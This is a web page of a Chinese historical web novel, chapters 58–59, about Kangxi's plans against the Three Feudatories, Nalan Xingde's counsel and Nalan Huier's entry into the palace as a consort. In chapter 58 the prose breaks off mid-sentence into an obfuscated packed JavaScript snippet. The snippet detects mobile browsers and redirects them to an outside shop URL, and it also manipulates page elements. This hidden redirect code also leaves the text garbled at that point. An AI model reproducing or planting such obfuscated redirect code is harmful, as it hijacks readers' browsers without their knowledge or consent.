【注2】索额图教于成龙用尚方宝剑“辟邪”言灵之事,见第42章。 【注3】纳兰性德读书作息方法。 【注4】容若和惠儿的约定,见第41章。 58.第58章 慈宁宫里,孝庄笑吟吟地跟皇孙玄烨和皇后赫舍里一起用早膳。 苏麻喇姑和顾问行一左一右站在太皇太后和万岁爷身后伺候着,主子们心情,他们自然跟着沾喜。 孝庄问:“咱们皇上在这一个半月里,都干了些什么有益于大清和有益于百姓的事啊?” 玄烨自信道:“回皇阿奶,国计民生上面,孙儿革几位在其位不谋其职的省长官的职,然后将那些省份亏欠朝廷的水银都强制收回来了,那可不是一笔小数目,可见那些省份不是拿不出银子来,而是想着吃皇饷、故意报亏;军事军情上面,孙儿派出得力干将去勘查连接南北的更优路线,以保证一旦战起,将劳民伤财之害降到最小,因为后勤物资供应是战事的要紧环节。” “还有吗?”孝庄心明如镜,“皇上第三步还干了什么?” “朕原本想要整顿吏治,先拿工部开刀,但是考虑到实情,就做了罢,改成重视户部,让户部的官员们好好筹办选秀之事和皇阿奶的生日。” 孝庄挑明了问:“你的纳兰还教你做了什么?” 玄烨朝顾问行一看,顾总管连忙向孝庄回话道:“回老祖宗,万岁爷在这一个半月里面,没有跟纳兰公子见面。” “皇祖母我在归还素佩给纳兰的当日,就问过他对时局看法和他对皇上应该怎么做的想法,如今皇上按照他的路子走,可是觉得‘贤臣难再得’啊?” “孙儿冤枉,纳兰冤枉。”玄烨离座给孝庄行了个求宽谅的礼,“请皇阿奶明鉴。” 这么说来—— 这事的确是孝庄的误会。 纳兰没把自己的想法告诉过玄烨,玄烨凭借自己的眼光和魄力施政,只是君臣二人恰好把“路子”都重合到了一起去而已。 “罢了。” 孝庄接过苏麻喇姑盛来的一碗参汤。 * “等到选秀之事结束、纳兰考完功名、刑部的冤假错案悉数见雪,孙儿就要开始撤藩和平藩了。孙儿干劲满满,真想早日大展身手啊!” “皇上有这样的抱负,照理说我这个皇祖母不应当浇皇上的冷水。”孝庄的神色转为严肃,“皇上打算以什么名义撤藩和平藩?” 玄烨霸气道:“难不成孙儿等那些藩王都后继有人了、实力更大了再撤再打不成?孙儿就是要先发制人!” “皇上派谁去打?”孝庄放下参汤碗,“能够作为大将率兵的人当中,皇上最信任谁?” 玄烨一愣,答不上来。 ——总归是不能索额图或是明珠二选一吧? ——即便是交给安亲王岳乐,万一岳乐居功自傲,这战争胜或者不胜都反了朝廷怎么办? 玄烨一咬牙,问:“皇阿奶可替孙儿问过明珠和索额图的想法了?” 顾问行赶紧圆场道:“老祖宗,万岁爷的意思是,撤藩和平藩之事,还得多方参合参合才行呐。尤其是要老祖宗您多费点心。” 这就是给了孝庄一个对康熙皇帝好好讲道理的场景,玄烨坐的笔直,给了顾总管一个“你懂的审时度势”的目光。 顾问行把皇上的目光一接,又道出了一番更契合祖孙二人心思的话来: “奴才愚钝,这撤藩和平藩之事,自然是经不起等,就像是不能把鳌拜熬死一般,也不能等到吴三桂老死,老祖宗洪福齐天,定是盼着天下早日无患的。再有就是,万岁爷一旦把这事拿到朝堂上去说,怕是会乱了套,还得叫老祖宗是一旁坐镇着局面才是。” 玄烨摆手,叫顾总管退到身后去,不必再说了。 说得再多,还不是一个意思: 康熙皇帝,得听从太皇太后孝庄的话。 孝庄道:“朝廷的实力看似强大,实则只是表面,皇上不知道派谁去打就正好说明了这点。照我看,撤藩和平藩之事不是不能干,而是皇上要想清楚之后再干。” “孙儿敢问皇阿奶,什么样才叫做‘想清楚’了?” “好……好啊,我竟然教出了一个——连费神思忖都不愿、张口就问衡量标准的‘好皇帝’来,真是愧对列祖列宗!” 孝庄气的声音发颤,转向苏麻喇姑: “传我懿旨,把明珠和纳兰性德叫到慈宁宫来,让纳兰性德当着我、明珠、赫舍里皇后的面,告诉皇上:三藩之事,什么样才叫做‘想清楚’了!” “皇阿奶——” 玄烨猛地站起,力度过大,翻倒了凳子。 一旁的赫舍里皇后就跟是个摆设品一样,说话也不是,不说话也不是,只觉得自己还不如先行向孝庄跪安呢。 当初前往慈宁宫的时候,皇上明明说的是:“皇后,与朕一同跟皇阿奶商议秀女大选的最关键之事。” “对着皇阿奶,身侧又有明珠,纳兰能言无不尽吗?”玄烨护着自己的侧臣,“不如叫纳兰去养心殿单独给朕说。” “皇上你给我坐着!” 孝庄冷眼一训:“早膳冷落了赫舍里皇后我没责你,意气用事要打吴三桂我也没拿出大道理来压你。但是你作为大清的一国之君,连对国家大事的衡量标准都不懂该如何拿捏了,像什么样子?” 玄烨不发一言。 “顾总管。”孝庄一阻止,“这桌子菜不必撤,侯着明珠父子来见就是。” “是。”顾问行摆正了玄烨的凳子,“奴才恭请万岁爷就坐——” * 传旨的人来到明府时,明珠和容若正坐在渌水亭中,分别检查小揆叙和小揆方的功课。 “明珠大人,是太皇太后叫奴才来的。今早皇上说了什么奴才不知道,但是从苏嬷嬷的口风来看,像是件皇上自失了分寸之事。” “这选秀之前皇上有些微词也正常,老祖宗犯不着不高兴。”明珠离座,走出了几步,“本官这就是随你去,让皇上既顾国又顾家。” “太皇太后请了长公子一并去。” 明珠看向那边跟两位弟弟相处的很好的容若,倒是不舍得打扰这“兄友弟恭”之景了。 容若听罢揆叙和揆方的背书,便在白纸上开始画图,边画边道:“今图有日月圆蚀交,日月圆相除得四寸五分,问日月蚀交之分。”【注1】 “前明大家张岱,在《夜航船》【注2】的‘序·卷一·天文部’记录了天文学识,长兄想着:不能光看文字描述,得触类旁通才好。就出一题来考考你俩。” 揆叙和揆方左右坐在容若身边,一起研究起题目来。 见两位弟弟专注,容若笑问他俩:“借助西洋器械可以利于此题得解,你俩要不要来长兄的书房摆弄摆弄那些器械?” “云辞姐姐拿来的?” “不是,是皇上赐的。” “容若,你这是在干什么?张岱的书你也敢看!” 明珠就跟是怕传旨之人回去后,会向孝庄打小报告一样,把桌面上的书籍和图纸都反掩了起来。 “张岱没被你的祖王父多尔衮处死,那是他命大。还有写《天工开物》的宋应星,现在指不定躲在哪里在筹谋什么……万一张宋二人投靠到朱三太子麾下,居心叵测,共商复明大业……你看他俩的书,岂非大受牵连?” “阿玛别紧张,儿只是抽丝剥茧,自出了几道题目来考察揆叙和揆方对算术的掌握程度而已,没有去追捧张岱的大作《夜航船》。” “你还敢用‘大作’两个字!” 明珠一把捂住了容若的嘴,给了儿子一个“太皇太后的人就在阿玛身后”的警惕眼神。 “阿玛你快进宫去吧!”容若一催,“揆叙和揆方还在书房等我,我要过去……” “你去什么书房?”明珠指向家门口,“太皇太后在慈宁宫等着你我父子去给皇上说教——” “啊?” “你,你……唉!”明珠拍了一下自己脸,“阿玛都快被你惹糊涂了。对皇上说出‘说教’二字是大不敬啊。总之,你我父子现在就进宫去给皇上:讲道理。” * 慈宁宫中。 明珠父子按照礼数给太皇太后和帝后请了安,然后遵了孝庄的话,坐进了同一张饭桌中。 饭桌上的菜肴,都在下面添了保温的用金色罩子罩着的小蜡烛,甚至可以说是:除了孝庄本人喝过一碗参汤外,那些菜纹丝未被谁动筷过。 从苏麻喇姑手中接过一碗“干贝鸡丝粥”的时候,明珠大为感动,谢道:“奴才和容若谢老祖宗恩典!!” 玄烨只见,纳兰的穿着十分素雅。 莫非之前明珠给长公子费五万金制作一套私服—— 让如意馆馆长亲自设计图样,还动用了三大织局之事,真是个谣言? 苏麻喇姑道:“老祖宗说,膳食不管是什么时候吃,都要吃好,吃好以后再一同商谈要事不迟。方才皇上说纳兰公子爱吃:苹果炒排骨,就吩咐顾总管去叫小厨房做了,纳兰公子尝一尝吧!” 纳兰用一句彬彬有礼的询问表示了自己的抗议:“皇上,这是甜的还是咸的?” 玄烨看向顾问行:“顾总管,你说——” 顾问行看明珠:“明珠大人,这万岁爷的心意……您说呢?” 明珠只得硬着头皮道:“容若吃单个苹果多一些。我这个做阿玛的,咸甜都吃的。” 纳兰的碗中,添上了明珠舀来的一块排骨和一块苹果。 ——阿玛的用意,是在强调:和气为上,皇上的心意不能不领。 纳兰一吃那块排骨,脸上一惊,僵着个“万千优雅凝固在一瞬间”的表情看玄烨。 孝庄以为玄烨又悄悄的排骨中做了什么整蛊纳兰的事情,正要训诫,便听见翩翩公子道:“皇上是不是觉得臣今天穿的素了一点,有先见之明为臣锦上添花?臣谢皇上!” 玄烨觉得自己的“龙颜”总算被挽回来了,就装作生气的样子道:“纳兰你穿的这么素,不差再吃些素的。” 赫舍里皇后温婉问:“皇上,这是怎么回事?” 玄烨自己吃了口“排骨”,道:“纳兰喜欢吃素,朕今天给他准备了素菜,就是这道苹果炒排骨。排骨是用莲藕条穿进油条里做的,炸至金黄之后,再跟苹果块一起迅速翻炒几下,就有了这道菜。” 赫舍里皇后解意道:“皇上别出心裁,以假乱真,难怪纳兰公子尝后惊喜。” * 膳食吃罢,就进入到了今日的正事上。 赫舍里皇后主动跪安后,孝庄屏退了四周的宫女和太监,厅中只剩下了她自己、玄烨和明珠父子。 “皇上要撤藩和平藩。”孝庄看着纳兰,“但是却有诸多未能‘想清楚’之事,以至于连作为天子最基本的‘自我决断感’都没有了,我还如何指望皇上接下来有‘自我决断力’?孩子,你说说自己的看法——” “容臣想想再答。” 孝庄点头,纳兰的确是比玄烨懂事,少年天子身边的确是需要一个沉敛冷静的侧臣。 “所谓擒贼先擒王,理应攻打剿灭吴三桂为上,尚之信和耿精忠作为附庸,必将见势而为,降于朝廷,这是皇上应当想清楚的第一关键点:火力和目标该放哪儿。” “若是我阿玛主战,那索额图必将主和。只是吴三桂野心气焰非招安或是割让云南给他所能一劳永逸,留其性命,只会导致其子孙扎根扩势、向朝廷索要更高优待,不利于大清长治久安和皇上拔出心中一刺。这是皇上应当想清楚的第二关键点:鉴机识辨朝中明索两党、望重臣工们的主张。” “现在的皇上,带着私心比天下心多一些,存着速决观比大局观强一些,无法做出方略来,亦无法让骁勇能征之将信服,却不肯承认,不可说是走在明君之途上。所以,皇上应该自省和看清的第三点就是——” “纳兰性德,你放肆!” 玄烨怒吼一声,然后拿起桌上的茶杯,扬手就要有所动作。 纳兰不知道玄烨是想摔茶杯还是想泼杯中水,反正:皇上这“要发泄在纳兰面前”或是“要发泄在纳兰身上”之举,二选一是躲闪不了的了。 “朕看你是仗着太皇太后给的机会,目中无君!” 纳兰半仰头,把眼睛一闭,倒也潇洒慷慨:八九不离十,皇上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719982|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶水是要往我脸上泼了。 等到在重重的置杯声中睁开眼睛,纳兰才反应过来,那半冷不热的茶水没有泼在自己脸上,而是泼在了自己的心脏左前方上。 “皇阿奶,他轻蔑朕,说朕好大喜功存私心。” 玄烨把纳兰从位置上拽了起来,惊的明珠也一并起了身。 “皇祖母倒想问问你——” 孝庄走到孙儿面前,移开了孙儿拽着纳兰的手。 “玄烨啊,听完纳兰的话,你有没有彻头彻尾地想明白、想清楚:自己错在哪儿?欠缺在哪儿?当下撤藩之举不成熟的原因在哪儿?” “如今是纳兰对,朕错了?”玄烨嘴硬,“朕要——” 明珠慌忙拉着儿子一跪,恳请道:“皇上万万不可说出要‘御驾亲征’这四个字来。否则,就不叫平藩,而叫乱军心啊!” 玄烨一把坐下,指着明珠,无奈且生气:“你们父子是要一并领罪吗?朕什么时候说过要御驾亲征?” “你们父子起来。”孝庄做了主,“慈宁宫有规矩,但不是皇上跟前的规矩,这动不动就跪,明珠你不心疼孩子我还心疼呢。” “朕明白了!” “皇孙你明白什么了?” “撤藩之事,可以步步为营着手进行;平藩之事,等过个两年,朕二十岁了再战!” “纳兰。”孝庄看向明珠的长子,“皇上自己悟了,你有什么要对皇上说的?” “撤藩和平藩,无论前路皇上会面对什么,臣都会陪在皇上身边。军事、民情、经济,三者在战前、战中、战后该如何稳住命脉、打通命脉、迸发命脉,阿玛明珠也会在皇上的朝堂上做个肱骨之臣。” “皇孙,纳兰父子的决心,你可都听清楚了?” “回皇阿奶,朕听清楚了。” “那就散了吧!” 孝庄朝外头喊了苏麻喇姑进来。 “苏嬷嬷,接下来皇上要干什么我不干涉,但是你去坤宁宫给皇后传我的话,就说选秀前后,皇上还是心疼皇后、晓得皇后的辛劳的。” 玄烨应道:“孙儿听从皇阿奶教诲,今明两夜都会宿在坤宁宫。” * 走出慈宁宫。 见儿子被皇上叫走了,明珠耽误了顾问行的步子,问他:“顾总管,最近皇上对容若态度如何?还请如实告知本官啊!” 顾问行:“明珠大人不必担心,万岁爷跟纳兰公子那就是:人前君臣、人后挚友,不舍彼此的!您作为公子的阿玛,应当觉得有福气才是。” “唉!”明珠一叹,“苏东坡说:人皆养子谓聪明,我被聪明误一生。顾总管,你以为本官比坡翁如何?本官的三个儿子,比坡翁的三个儿子如何?” “坡翁哪里懂官场之道呢?坡翁之子哪能跟明珠大人的三位公子比?要想青史留名,光有豁达志向和一腔热血怎么够?” 明珠默默往前走,百感交集,只在心中道出这么一句话来: 惟愿生儿愚且鲁,无灾无难到公卿。 “平凡是真,儿啊,阿玛只要你无灾无难就好……就好啊!” * 玄烨走进养心殿,看见了在里面候驾伺候的梁九功。 “梁公公,你去找一身衣服来给纳兰换了。” “万岁爷,奴才哪有给纳兰公子挑衣服的资格?”梁九功率真道,“奴才要是挑错了,领罚就是;损了公子的形象气质,奴才担待不起啊!” “纳兰身上的茶渍,是朕泼的。” “下回皇上生气了,就把这福气赏奴才身上吧!” “行了,你下去吧。” “知道朕为什么给你‘何时何地都可以穿私服’的特许吗?不是因为朕只能穿龙袍,所以想多见识见识你有几套私服、能穿出什么范儿来。” 玄烨上下打量着眼前人,“而是纳兰你,不该被朝服或者戎装玷污了一身清雅。朕,要在眼前看到最本真的你。” 明白了玄烨的圣意,纳兰点头应了声:“是。” 玄烨问:“最近除了去徐乾学家里听讲、在渌水亭编撰、释义、校订《古抄本十二卷》之外,你还做了什么?” “臣还读了张岱的书《夜航船》,一面是被里面五花八门的知识所吸引,自得乐趣;另一面是自己出了几道天文学算术题来考弟弟揆叙和揆方,臣喜欢兄弟一同讨论的时刻。” “《夜航船》?为什么叫这个书名?” “张岱未言,但臣觉得是:将书海知识比喻为航道,将人比喻为驾船者,好在黑夜之时有所谈资。” “纳兰,你可看出来了?朕现在就想在你面前大笑。”玄烨拍着侧臣的肩膀,“张岱不见得是好人,更是太皇太后忌讳的人,你却是肯读他的书、肯解书名之意。岂非可笑?” “《夜航船》里面有很多知识,其中臣最爱看天文学、植物学、古玩学、地理学这四部分,要是皇上愿意听,臣可以给皇上讲。” “哈哈,何乐而不为?”玄烨神色朗然,“朕日常听明珠讲经,换个口味听明珠的儿子讲百科也无妨。” “你不是说自己有编天文学算术题的本事吗?”玄烨饶有兴致,“把你编的题目都写给朕看看。” 纳兰就把题目和图示一并书写和绘画了出来,问:“这道算术题,不知道皇上解不解的出来?” “天下有什么难题是朕不能解决的?太小看朕了!” 玄烨解题之前,对纳兰下了道命令: “你留在朕身边,夜幕降临之前不许离开养心殿半步。” 【注1】释义:图纸有日月之圆蚀交,日圆面积除以月圆面积得四寸五分,问日月蚀交的长度。 【注2】 《夜航船》: 1、明末清初文学家、史学家张岱作品。是一部包含“天文地理”和“文化常识”的百科全书。 2、容若多在闲暇之时阅读,品个中乐趣,得会心一笑,曰:“天下的学问,向月行舟以赴,暗夜航船、则难以对付。” (共鸣之处,也会情不自禁地跟公子一样笑出来~) 59.第59章 秀女大选当日。 出发之前,明珠一家人都来到府门口送惠儿。 容若看着落落大方又清丽可人的表妹,心中唯有盼着她好、盼着日后皇上对她也好。 “女子之战,战于素未谋面之前,靠的是机敏和大局观;战于后宫三千佳丽中,靠的是不惧前路和不留后路。惠儿记下了伯父和表兄所教,也记下了自己的责任,虽不能为后,但定成四妃之首,表面和顺听从、内心泾渭分明于后。” “好!”明珠大喜,“惠儿你没有说出‘平分秋色于后’这六个字,就足以见得你心中决意已深。” “伯母说,后宫女子的斗争,比前朝大臣之间的更残酷。惠儿深信不疑。定要为纳兰氏一族走出一条坦途来。” 明珠春风满面,高声赞扬:“惠儿,你不愧是我纳兰氏一族最出挑的女子!” 惠儿清醒道:“请伯父安心,君侧有表兄,后宫有惠儿,凡事可成。” “好!”明珠亲自在惠儿登车时扶了她一下,“纳兰家,如今是内外都在向着天子效力啊!” 惠儿卷起车帘,依依不舍地看着容若。 容若上前,看着待做嫔妃的表妹,未做任何不合规矩之举,比如说:讲一些留恋的话、送一些纪念之物、执一双青葱玉手…… “咱们儿子,总归是个有教养、懂分寸的人。”明珠对觉罗氏道,“换成别的公子哥,放到一样的场景里,指不定闹成什么样了。” 觉罗氏看着车内车外的两人,道:“惠儿这一入宫,妾身身边少了个可以说话的人,也是会生出许多寂寞感来啊!” 明珠自有思量:“夫人可要考虑容若娶妻之事了?” 觉罗氏并未有此意:“儿媳要是贤惠也就罢了,就怕……” 明珠暗示道:“本官看着一等公朴尔普之女云辞格格倒是不错,日后夫人问问容若的意思。” “有春风拂过,感觉真好啊!” 微笑的容若,春景中的容若,心绪细细暗藏。 “去完成自己作为皇上的嫔妃的使命,保重啊,惠儿。” 告别的容若,期望中的容若,半句沉落半句振作。 惠儿能解表兄的两阙离别语。 本就是朗朗公子,何须轻裳再被春风渡、春风误? 本就是温温君子,何须心底再被春景付、春景顾? 唯有“保重”二字最是真挚,有表兄此言,任凭什么“伯父明珠的愿景”、任凭什么“纳兰一族的枯荣”,都能让一个女子担负得起。 ——惠儿,不负春风春景,只愿表兄:年年春好处,词情满皇都。 “表兄也是,善待自己,好好照顾自己。” “就此别过,珍重。” 马车缓缓前行。 惠儿忍着没有回头去看容若的身影。 要是问她是否愿意用自己的命来换得容若一生安然,答案是心甘情愿。 要是问她能否变成一个周全于玄烨和容若间的筹码,答案是义不容辞。 ——表兄,我真怕进入皇宫之后,自己就不再是自己了。 ——想要见识皇上的胸襟和器量、想要知道皇上的抱负和理想、想要与许多女子争高低。 更想拥有一颗跟表兄一样的:纯净无垢、明澈不染的琉璃慈悲心。 玄烨跟太皇太后和皇后一起挑秀女的时候,容若在房间里写下了一首词: 《一丛衫·新花偏惑》 小帘落,絮飞过,车行前路谁失措。燕入金阙应俱好,今岁新花偏惑。 浪蕊难数,绿牌易留,魂梦竟是真。云下风畔,天笑我嗔。 * 纳兰惠儿通过康熙皇帝和赫舍里皇后甄选,册封为惠嫔的消息,终于传到了索额图耳中。 索额图也没有心情吃饭了,只放下碗筷气道: “明珠啊明珠,你终于成功了!要不要摆场宴会庆功一下呀?你筹谋准备了大半年,终于得偿所愿了。哼!你把纳兰惠儿送入宫中,就是为了让她在君侧为妃,好为纳兰家谋利益和与赫舍里皇后分恩宠吧?” 格尔芬客观道:“阿玛你可以把心态摆正吗?只要是八旗女子,谁能逃过选秀的命运?纳兰惠儿不是在走正常的流程吗?包括容若也一样,一路的考试也是照着流程走的,没受过谁的照顾或偏私。” 索额图怒问:“照你的意思,就是明珠一家人风骨正的很,有今日的声誉全凭真本事了?你是把阿玛置于‘沾祖上荣光、功勋爵位皆承袭’的地步了吗?” 格尔芬搅拌着碗中的芝麻糊,道:“阿玛你不是心里有数吗?明珠为何能升官,明珠为何自己以自己为靠山。” “即便如此,”索额图不甘心道,“明珠有了一个完璧无瑕的儿子纳兰容若还不知足,还敢把纳兰惠儿送到皇帝枕边,就是叫我所不耻!” 佟佳氏疑道:“老爷,你不觉得那个纳兰惠儿不可能真心对皇上吗?她跟纳兰容若相处了那么些日子,怎么可能没有私情?所以,以后老爷反击明珠的机会多着呢。” 听到这里,索额图双眼一放光,就跟是“猎物”就近在眼前一般。 “只可惜赫舍里皇后单纯,不懂在后宫用手段和用心计,不是受过纳兰父子调教的惠嫔的对手。” “妾身觉得赫舍里皇后单纯才好呢。皇后越是端庄大度,就越能显得惠嫔自私可憎不是吗?只要寻个契机让惠嫔担了‘违悖宫规’之错就好。” 索额图狡诈一笑,“从长计议。” 面对这样的阿玛和额娘,格尔芬没有多说什么。 只是觉得,碗中的芝麻糊一点都不甜,反而是苦涩的厉害。 * 纳兰惠儿居住的宫殿,是延禧宫。 一日,玄烨忙完公务以后,去延禧宫见了这位新人。 “臣妾纳兰惠儿给皇上请安,皇上万福金安。” “你是第一个请安之时,在朕面前主动报上名字来的妃子。”玄烨觉得眼前的女子新鲜,“来,坐到朕身边来。” “臣妾由衷高兴。” “纳兰明珠是你的伯父,纳兰性德是你的表兄。” “是。” “你为什么愿意嫁给朕?” “皇上是执掌天下之君,臣妾是皇上挑选的女人,只属于皇上。” 玄烨凝视着惠嫔,他希望眼前的是一个妻子,而不是一个妃子。在妻子面前,才能做个好丈夫;在妃子面前,只能做个暂歇后宫的帝王。 想来,朕对赫舍里皇后的宠与不宠,时时有孝庄太皇太后的过问,索额图的影响力倒是其次。但是朕对纳兰惠儿的在意与否,也会牵涉到她背后的家族势力吗? 纳兰家的势力,不能跟赫舍里家比啊! 本就是走的不一样的路线:索额图承袭索尼爵位,明珠靠成绩升官;皇后为孝庄所安排,惠嫔为自己所纳;索额图想当天子的叔丈人,所以兴风作浪,明珠虽爱财但好歹忠于君,办事得力。 ——朕宠赫舍里皇后,是因为她懂事识大体,掌的稳后宫凤印。 ——朕看得上纳兰惠儿,只是因为她的美貌和留牌子前的一阵对话吗?她身上,还有什么值得朕为之停留的东西呢? “皇上,宠与爱是不同的,臣妾爱皇上也希望得到皇上的爱。” “惠嫔,你果然不一样。” 玄烨的心弦被挑动了起来,纳兰惠儿是个知道自己想要什么的女子,就这点而言,已经胜过自己的九成嫔妃。 在这双向选择之间,玄烨清冷问她:“皇上挑的女人,就该全心全意去爱皇上和得到皇上的爱吗?” 惠嫔道:“对惠儿而言,‘宠’是夫君的怜悯与沉溺,总一天会失去、会因期待落空而自腐身心迅速衰老容颜。‘爱’是夫君的信任和付出,长长久久,日月可期,彼此之间牵绊长存。” 玄烨抱惠儿入怀,脸上的神情渐渐变得缓和,“所以惠嫔你,有几重的把握拴住朕的心?” 如果可以,真想说一句实话:那要看皇上愿意付出多少,来留住惠儿的心。 但是终究是选择了屈服,屈服在玄烨的怀抱中,看着玄烨的眼睛,柔声对他道:“只要惠儿活着,就会一直靠近的皇上的心。” 玄烨轻抚惠嫔的脸颊,笑问:“你就不想把朕的心占据一半?” “女子焉能跟江山并重?”惠儿反问,“皇上的心,应当悉数装着江山,只待需要和有空之时,再分出些余暇来给后宫的女子。” “你跟纳兰一样,是个懂朕和愿意为朕考虑的人。” “皇上怎么不叫表兄的名字?” “朕的心中,朕的口中,永远就只有一个纳兰,那就是你的表兄纳兰性德。无须多做改口。” 流光易过,有情难分。 且看一树嫩叶窗外新,倦了云泥,醒了闲情。 小睡养神罢后,玄烨从长榻上起身,饮了一杯惠嫔递上来的提神清茶。 随后,玄烨就自己理了理衣服,准备离开后宫。 “惠嫔,朕先去内阁召见大臣,晚上就过来你这里安置。” “臣妾必定让皇上舒心、安心地歇在臣妾身边。” “你不跟其她嫔妃一样,说:“谢皇上、恭送皇上”吗?” “惠儿待皇上的方式是惠儿自己的,不受伯父和表兄教导、也不受规矩礼数约束,惠儿只想对皇上说出自己本能的、最想说的话。” “不许欺骗朕。” “惠儿真诚对待皇上。” 从延禧宫出来,走在去往内阁的捷径上。 玄烨对顾总管道:“有纳兰惠儿在,日后朕去后宫的次数会多一些。” “太皇太后听到皇上这话,肯定是高兴。”顾问行忽又转折道,“只是奴才冒死提醒万岁爷一句,要雨露均沾才好。” “明珠的长公子没有讨好过朕,侄女也没有求怜于朕,满朝上下还能传出什么话来?” “万岁爷还是要谨慎才是。”顾问行小心提醒,“您的陪臣和您的侧妃,也是需要您的保护的呀!” “这谈何容易?”玄烨讲了真心话,“像是功臣和重臣,朕要想保护他们,赐块免死金牌就是。但是朕能这么对纳兰吗?他的骨气和他的大局观,会领免死金牌吗?” “奴才相信,万岁爷自有方法。” “不错,朕有方法。”玄烨一字一句地强调,“只要有朕在,纳兰就不会死。” * 曹寅和禹之鼎走在大街上,感受着春季来临后的繁荣商贸。 吆喝声不断,说明小贩们的货物供应量充足,销售兴头高;讨价还价声不断,可见老百姓们生活余裕,手里拿的出钱来购置所需品,日子红红火火;车马声踢踏有力,则是盛世当今的证明,坦荡街道,人车穿梭,这派好景非安和之世道所不能有。 这些值得称赞的一幕幕场景,从另一个角度讲,就是康熙皇帝的政绩。 天子年少却有为,是大清之幸,万民之幸啊! 曹寅感慨道:“咱俩要是有机会离开京师,代皇上去江南考察民情,岂不是既乐得逍遥又能报效国家?” 想到自己是从江南来到京师的,禹之鼎对家乡反而没兴趣,“皇上想干的大事那么多,真的有时间去南巡吗?北上更契合实际吧?” “禹兄听岔了,我是说代替皇上去民间微服私访,不是跟着皇上一起巡幸山水。伴君出行,规矩太多,压力太大,只有纳兰才做的来,你我不行。” “没准日后皇上感念曹寅你的功绩,就安排你去江南享福度过后半辈子呢?” “享福倒是不敢想,能够得到该有的荣华富贵、让后世子孙的日子过得好,我就心满意足了。” “曹寅,你跟内务府的人关系好,江宁织造是内务府的御用纺织厂,明珠大人动用关系花了五万金给纳兰做私服的事情,是真的吗?” “这我哪敢打听啊?”曹寅摇了摇头,“但是你看纳兰的私服,不是每件有每件的特点吗?可不能用钱字来论。纳兰气质是天生的,不是衣服衬他,而不是他衬衣服、让衣服都因为他而变得不一样了。” “可是五万金不是小数目,能养活多少百姓?”禹之鼎指向街头的一些穷苦之人,“真要有人拿这事弹劾明珠大人,皇上也不好办呐!” “话说回来,这事传来传去皇上肯 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“你要是有本事冒充禹之鼎,贼喊捉贼,敢不敢壮着胆子去‘庄周梦蝶’字画店找周之捷周老板,吼上一番:里面那把无价的画扇也是假的!画不是禹之鼎画的,诗不是纳兰公子题的!” 禹之鼎信誓旦旦道: “那把画扇的扇身,是曹寅从江南寻来的。上面的‘有花兼有月,无酒又无人’的意境是我画的,诗句‘闲剪花月酒,一味非两味’是纳兰公子的亲笔。” “客官,你我不如一同去报官。”老板指着闹事者道,“就说今日遇见了一个疯子,胆敢私刻印章和冒充万岁爷的御用画师!看看他该当何罪!!” “应当,应当让官老爷细审!”那买家应道,“我们走——” 不知名的字画店老板喊了几个小厮出来,把禹之鼎按押着要往衙门送的时候,曹寅飞快地做了阻拦,奈何那些人见识浅薄,当真是不认得“禹画师”和“曹侍卫”长什么样。 曹寅一想:再这么纠缠下去,怕是自己也会被一并送去见官,落得一个触怒龙颜的下场。 就当机立断对禹之鼎道:“禹兄你千万先忍着,我这就去帮你找救兵!你是想见纳兰公子还是云辞格格?” 禹之鼎气急败坏,一下子失了理智,张口就是一句:“我只想见皇上!” “好!”曹寅一点头,“我这就进宫去禀明皇上!” “哈哈……那人说要见皇上。” “他的结拜兄弟就真的去找皇上了,哈哈……” 曹寅的身影消失在一片嘲笑声中。 看热闹的百姓们、有眼不识泰山的字画店老板和买家,都只当去往皇宫方向的青年是另一个疯子。 * 容若和沈宛在溪流边赏春景,自然是不知道曹禹二人遇见了什么事。 “我想见张岱先生。” 容若这句话,说的十分认真。 “公子看张公的书了吗?” “都看过了,张岱先生不局限于写文章,而是把一个个谈资和一件件趣事书写在册,在当下文人圈子当中颇为难得。我对张岱先生书中的立意和表现手法很是着迷,是此前从未接触过的。要是能够彼此交谈、秉烛至天明就好了。” 沈宛没法向容若透露“张岱是师傅宋应星的知交”这一点,而且她认为,容若知道这点对他没有任何好处。平日里宋张徐三人在林间小屋中的对话,基本上挑不出几句“善待纳兰公子”的话。 ——公子要是执着,不如就只看篇章不看作者的好。 ——推文风而慕大家风范,公子这回可真是想错了。 “后日我跟国子监的同窗们一起去登高。”容若对着远处的天际有感而发,“人生至此,风景看过无数,但是跟这么多人一起出行却是第一次。” “公子期待吗?” “当然期待。”容若微颔首,“可是没人教过我登高的时候该带什么,照着书上教的来行事也不知道对不对。倒不如空手而往、满载而归。” “公子怎么不往行程的欢乐气氛上面去想?”沈宛投了一粒小石子到河中,对着圈圈微澜笑道,“光想着‘礼数’和‘收获’,岂不是本末倒置?” “我不知道。”容若很纯粹地抱腿坐在岸边的一块磐石上,“皇上说想带我去泰山的时候,我也没往氛围那方面去考虑,光顾着思忖:这一行的意义在哪儿?对大清对社稷有什么好处?自己能为皇上做些什么?” “所以呀,我觉得容若你挺好,专注地做自己。” “宛卿,你说我要不要想些登高时的话题?还是加入别人的话题好?” “只要是先生不主动叫你一个人去聊,那你想怎么样都行呀!” “我生日的时候,两个弟弟从各种古书中淘出了不少茶方给我作为礼物【注1】。我自己升华和改良过之后,尝着味道极佳。你说我带调配好后的茶方去请众人喝好不好?” “公子有如此雅兴,先生和诸生都求之不得呢!” “那水源……” “公子还怕无人主动去寻吗?” “啊,原来可以交给别人去做。我还以为自己做茶主的时候,要自行办妥一切,还想着跟宛卿一起去勘查登高处附近的地形地貌呢……” “是啊,这叫做分工。容若你不能把自己当茶主、把别人当宾客,登高处不是渌水亭,记得:包括先生在内,大家都是朋友。” “原来是这个道理,要规避距离感。明白了。”容若同时觉得遗憾,“只是少了跟宛卿一起。” ——一起去登高处的附近走走。 “我愿意跟着公子一起去踩点。” ——只要能让公子心中踏实,公子的愿望都该得到满足。 云影下,通途中,马背上。 心境明,落影暗,语声浅。 朝去暮来,数远说近,属于他俩的时光,应当悠长; 涉沙眺望,抚砖思往,目的地的小探寻,应当有趣。 